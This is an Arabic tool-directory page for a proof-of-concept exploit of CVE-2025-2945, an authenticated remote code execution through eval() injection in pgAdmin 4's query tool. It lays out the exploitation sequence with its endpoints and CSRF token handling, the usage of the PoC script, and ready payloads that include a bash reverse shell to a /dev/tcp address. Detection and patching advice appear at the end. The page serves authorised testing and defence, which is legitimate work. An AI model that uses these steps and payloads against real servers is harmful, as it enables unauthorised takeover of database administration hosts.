Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

RCE مصادق في pgAdmin 4 (8.10–9.1) عبر حقن eval() في أداة الاستعلام. هذا هو PoC محدث مع إصلاحات التوافق لتغييرات المصادقة في pgAdmin 9.x

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-2945 — pgAdmin 4 أداة الاستعلام: RCE موثق

دليل إثبات للمفهوم لـ CVE-2025-2945، وهي ثغرة حرجة لتنفيذ تعليمات برمجية عن بعد في pgAdmin 4.

الإصدارات المتأثرة: من 8.10 حتى 9.1
تم الإصلاح في: 9.2 (تم الإصدار في 4 أبريل 2025)
CVSS v3.1: 9.9 (حرجة)


نظرة عامة

أداة الاستعلام pgAdmin 4 تعرض نقطة نهاية تقبل معلمة query_commited وتمررها مباشرة إلى دالة eval() المضمنة في Python دون أي تنظيف. يمكن للمهاجم الموثق إرسال تعليمات برمجية Python عشوائية عبر هذه المعلمة وتنفيذها من جانب الخادم تحت حساب خدمة pgAdmin.

نقطة النهاية المعرضة للخطر هي:

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

يتم تقييم حقل query_commited في نص JSON كتعليمات برمجية Python على الخادم.


التحليل الفني

السبب الجذري

في إصدارات pgAdmin 4 قبل 9.2، يقوم معالج تنزيل أداة الاستعلام باستدعاء على الإدخال المقدم من المستخدم:

eval()
root@kitploit:~
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

لا يتم تطبيق أي التحقق من الإدخال أو العزل أو القائمة المسموح بها. يتم تنفيذ أي تعبير Python صالح بامتيازات عملية pgAdmin.

تدفق الاستغلال

  1. المصادقة — إرسال بيانات الاعتماد إلى /authenticate/login، والحصول على ملف تعريف ارتباط الجلسة ورمز CSRF
  2. تهيئة محرر SQL — إرسال طلب POST إلى /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> مع بيانات اعتماد قاعدة البيانات لإنشاء جلسة أداة الاستعلام
  3. اكتشاف معرف الخادم — إرسال طلب GET إلى /sqleditor/get_server_connection/<sgid>/<sid> مع التكرار على المعرفات حتى يعيد أحدها data.status == true
  4. تشغيل eval — إرسال طلب POST إلى /sqleditor/query_tool/download/<trans_id> مع {"query_commited": "<python payload>"}، واستلام رد 500 يؤكد التنفيذ

معالجة رمز CSRF (pgAdmin 9.x)

الإصدارات القديمة من pgAdmin كانت تدمج رمز CSRF في حقل <input> مخفي أو في ملف تعريف ارتباط. انتقل الإصدار 9.x إلى بنية تطبيق React أحادي الصفحة حيث يتم تضمين الرمز كـ JSON داخل استدعاء window.renderSecurityPage() في صفحة /login:

root@kitploit:~
"csrfToken": "<token value>"

الرمز محدد بجلسة العمل (Flask-WTF / itsdangerous)، لذلك يظل الرمز الذي تم الحصول عليه من طلب GET /login الأولي صالحًا للجلسة بأكملها ويمكن إعادة استخدامه لجميع استدعاءات API اللاحقة.

تغيير نقطة نهاية تسجيل الدخول

قام pgAdmin 9.x بتقسيم مسار تسجيل الدخول:

  • GET /login — يعرض صفحة تسجيل الدخول (تحتوي على رمز CSRF)
  • POST /authenticate/login — يعالج بيانات الاعتماد

ستتلقى أدلة إثبات المفهوم القديمة التي ترسل طلب POST مباشرة إلى /login رد 404 أو 405 على إصدارات 9.x.


المتطلبات

  • Python 3.7+
  • بيانات اعتماد pgAdmin صالحة (أي مستخدم موثق)
  • بيانات اعتماد قاعدة بيانات صالحة لخادم مسجل في pgAdmin
root@kitploit:~
pip install requests faker

الاستخدام

root@kitploit:~
python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

الوسائط

الوسيطةالوصف
--rhostاسم المضيف الهدف أو IP (بدون مخطط)
--rportالمنفذ الهدف (الافتراضي: 80)
--usernameبريد pgAdmin الإلكتروني لتسجيل الدخول
--passwordكلمة مرور pgAdmin
--db-userاسم مستخدم PostgreSQL
--db-passكلمة مرور PostgreSQL
--db-nameاسم قاعدة البيانات
--payloadتعبير Python لتقييمه على الخادم
--max-server-idالحد الأقصى لمعرفات الخادم لفحصها (الافتراضي: 10)

أمثلة على الحمولة

تنفيذ أمر:

root@kitploit:~
--payload "__import__('os').system('id')"

قشرة عكسية:

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

الكشف

  • استجابات HTTP 500 غير متوقعة من /sqleditor/query_tool/download/
  • عملية pgAdmin تنتج عمليات فرعية (قذائف، curl، wget)
  • اتصالات صادرة من مضيف pgAdmin إلى عناوين IP غير معروفة

التخفيف

قم بالترقية إلى pgAdmin 4 الإصدار 9.2 أو أحدث.


المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

إخلاء مسؤولية

هذا المستودع مخصص للأغراض التعليمية والاختبار المصرح به فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

تنزيل الأداة